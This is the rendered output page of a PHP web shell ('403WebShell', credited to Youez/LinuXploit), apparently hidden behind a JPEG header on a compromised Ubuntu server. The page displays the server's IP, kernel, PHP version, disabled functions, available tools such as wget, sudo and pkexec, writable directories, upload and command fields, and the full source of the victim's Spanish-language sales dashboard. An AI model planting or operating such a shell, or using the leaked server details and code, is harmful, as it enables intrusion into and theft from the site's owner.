����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.128.190.205
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/alerts2-view.php
<?php

$fecha = date("Y-m-d") . " 00:00:00";
//sucursal matriz
$stock_id = 1;
$diaSiguienteMedianoche = date("Y-m-d", strtotime("+1 day", strtotime($fecha))) . " 00:00:00";
$ventas	= SellData::getSellsStock2($fecha,$diaSiguienteMedianoche, $stock_id);

$stock_id = 2;
$ventas2	= SellData::getSellsStock2($fecha,$diaSiguienteMedianoche, $stock_id);

$stock_id = 3;
$ventas3  = SellData::getSellsStock2($fecha,$diaSiguienteMedianoche, $stock_id);

$stock_id = 4;
$ventas4  = SellData::getSellsStock2($fecha,$diaSiguienteMedianoche, $stock_id);
?>

<section class="content-header">
          <h1>
           <h1>Reporte de Sucursales <small>Ventas</small></h1>
          </h1>
			<ol class="breadcrumb">
			  <li><a href="./?view=home">Inicio</a></li>
			  <li><a href="./?view=stocks">Almacenes</a></li>
			  <li class="active">Sucuarsales</li>
			</ol>
</section>
  
<section class="content">

	<div class="row">
		<div class="col-md-3">
			<div class="small-box bg-yellow">
					<div class="inner">
					  <h3  id="almacen1"></h3>
					  <p>Matriz</p>
					  <p>Ventas Hoy</p>
					</div>
					<div class="icon">
					  <i class="fa fa-usd"></i>
					</div>
			</div>
	</div>



	<div class="col-md-3">
	<div class="small-box bg-yellow">
					<div class="inner">
					  <h3 id="almacen2"></h3>
					  <p>Piedras Negras</p>
					  <p> Ventas Hoy</p>
					</div>
					<div class="icon">
					  <i class="fa fa-usd"></i>
					</div>
				  </div>

	</div>

	<div class="col-md-3">
		<div class="small-box bg-yellow">
			<div class="inner">
				<h3 id="almacen3"></h3>
					  <p>Acuña</p>
				<p>Ventas Hoy</p>
			</div>
				<div class="icon">
					  <i class="fa fa-shopping-usd"></i>
				</div>
		</div>
	</div>
	
	<div class="col-md-3">
		<div class="small-box bg-yellow">
			<div class="inner">
				<h3 id="almacen4"></h3>
					  <p>Reparto</p>
				<p>Ventas Hoy</p>
			</div>
				<div class="icon">
					  <i class="fa fa-shopping-usd"></i>
				</div>
		</div>
	</div>
	
	</div>

		<h1><i class='glyphicon glyphicon-shopping-cart'></i>Detalle de Ventas del Dia</h1>

		<div class="clearfix"></div>
		

<?php
$products = null;


	$products = SellData::getSellAll();

if(isset($products)>0){

	?>
	<br>
	<div class="box box-primary">
	<div class="box-header">
	<h3 class="box-title"> Detalle De las Ultimas Ventas</h3></div>
	<div class="box-body">	
	<table class="table table-bordered table-hover table-responsive datatable">
		<thead>
			<th>Facturar</th>
			<th>Folio</th>
			<th>Id</th>		
			<th>Pago</th>
			<th>Entrega</th>
			<th>Total</th>
			<th>Cliente</th>
			<th>Vendedor</th>
			<th>Almacen</th>
			<th>Fecha</th>
			<th></th>
		</thead>
		<?php foreach($products as $sell):
		
		?>

		<tr>
			<td style="width:30px;">
			<a title="Facturar un Articulo" href="index.php?view=factura&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-success"><i class="glyphicon glyphicon-file"></i></a>
			<a title="Facturar Concepto general" href="index.php?view=Factura_prueba&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-danger"><i class="glyphicon glyphicon-file"></i></a>
			
			</td>
			
			<td style="width:130px;">
			<a href="index.php?view=onesell1&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a><?php echo $sell->sale_id; ?>
			</td>
			
			
			<td><?php echo $sell->id; ?></td>

	<td><?php echo $sell->getP()->name; ?></td>
	<td><?php echo $sell->getD()->name; ?></td>
			<td>

	<?php
	$total= $sell->total-$sell->discount;
			echo "<b>$ ".number_format($sell->total,2,".",",")."</b>";

	?>			
		</td>
		<td> </td>
		<td> <?php if($sell->user_id!=null){
			$c= $sell->getUser();
			if(isset($c->name)){
				echo $c->name." ".$c->lastname;
			}else{
				echo "Vendedor Eliminado";
			}
			} ?> 
		
			<?php 
			if(isset($sell->id_seller)){
			$c1= UserData::getById2($sell->id_seller);
				if(isset($c1->username)){	
					echo $sell->id_seller."-".$c1->username;
				}else{
					echo "Id Vendedor: ".$sell->id_seller;
				}
			}else{
				echo "sin vendedor";
			}
			
			?>
		</td>
			<td><?php 
				
			if( $sell->id_seller != NULL){
				//verificamos el valor de stock_id en tabla user-
				$user = UserData::getById($sell->id_seller);
				echo  StockData::getById($user->stock_id)->name;
				
			}else{
				echo "Sin Almacen";
			}
			?></td>
			<td>	
			<?php echo $sell->created_at; ?>
			</td>
			
			<td style="width:30px;">
			<a href="index.php?view=factura_demo&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-info" title="Demo de Facturacion Iva Agregado"><i class="glyphicon glyphicon-file"></i></a>
			<a href="index.php?view=factura_demo2&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-warning" title="Demo de Facturacion Iva Desglosado"><i class="glyphicon glyphicon-file"></i></a>
			
			<?php if(Core::$user->kind==1):?>
				<a href="index.php?view=delsellSeguridad&id=<?php echo $sell->id; ?>" class="btn btn-xs btn-danger"><i class="fa fa-trash"></i></a>
			<?php endif;?>
			</td>
		</tr>
		
	<?php endforeach; ?>

	</table>
	</div>
	</div>
	
	<div class="clearfix"></div>

		<?php
	}else{
		?>
		<div class="jumbotron">
			<h2>No hay ventas</h2>
			<p>No se ha realizado ninguna venta.</p>
		</div>
		<?php
	}
	?>
	</div>
</div>
</section>

<script>
	var data = $('#almacen1').html();
		var auto_refresh = setInterval(
		function ()
		{
			$.ajax
			({
				url: './index.php?action=almacen1',
				data: data,
				success: function(data) 
					  {
					$('#almacen1').html(data);
					  }
			   })
		}, 1); 
		
		var data2 = $('#almacen2').html();
		var auto_refresh = setInterval(
		function ()
		{
			$.ajax
			({
				url: './index.php?action=almacen2',
				data2: data2,
				success: function(data2) 
					  {
					$('#almacen2').html(data2);
					  }
			   })
		}, 1); 
		
		var data3 = $('#almacen3').html();
		var auto_refresh = setInterval(
		function ()
		{
			$.ajax
			({
				url: './index.php?action=almacen3',
				data3: data3,
				success: function(data3) 
					  {
					$('#almacen3').html(data3);
					  }
			   })
		}, 1); 
		
		var data = $('#almacen4').html();
		var auto_refresh = setInterval(
		function ()
		{
			$.ajax
			({
				url: './index.php?action=almacen4',
				data: data,
				success: function(data) 
					  {
					$('#almacen4').html(data);
					  }
			   })
		}, 1); 
	</script> 


  
  
 

Youez - 2016 - github.com/yon3zu
LinuXploit